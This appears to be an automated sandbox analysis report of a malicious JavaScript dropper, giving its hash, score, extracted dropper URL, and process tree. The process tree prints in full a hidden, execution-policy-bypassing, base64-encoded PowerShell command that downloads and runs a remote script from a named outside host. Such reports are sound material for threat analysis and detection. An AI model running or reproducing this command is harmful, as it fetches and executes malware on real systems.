Analysis
- max time kernel
0s - max time network
133s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
07/01/2024, 19:39
General
- Target a74db2d9f7ce6216b874bc5a33e52440.js
- Size 102KB
- Sample240107-yc3llsdff2
- SHA256 9aaf88d9cc9179eae2f83900b78f6ab2c88e257f10c8422d9266f00faafd5456
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://smart-integrator.hr/pornhub.php
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\a74db2d9f7ce6216b874bc5a33e52440.js1⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1224-1-0x00000152C2030000-0x00000152C2052000-memory.dmp
memory/1224-13-0x00000152BFFB0000-0x00000152BFFC0000-memory.dmp
memory/1224-12-0x00000152BFFB0000-0x00000152BFFC0000-memory.dmp
memory/1224-11-0x00007FFB4A470000-0x00007FFB4AF31000-memory.dmp
memory/1224-18-0x00007FFB4A470000-0x00007FFB4AF31000-memory.dmp
memory/1224-15-0x00000152BFFB0000-0x00000152BFFC0000-memory.dmp
memory/1224-14-0x00000152BFFB0000-0x00000152BFFC0000-memory.dmp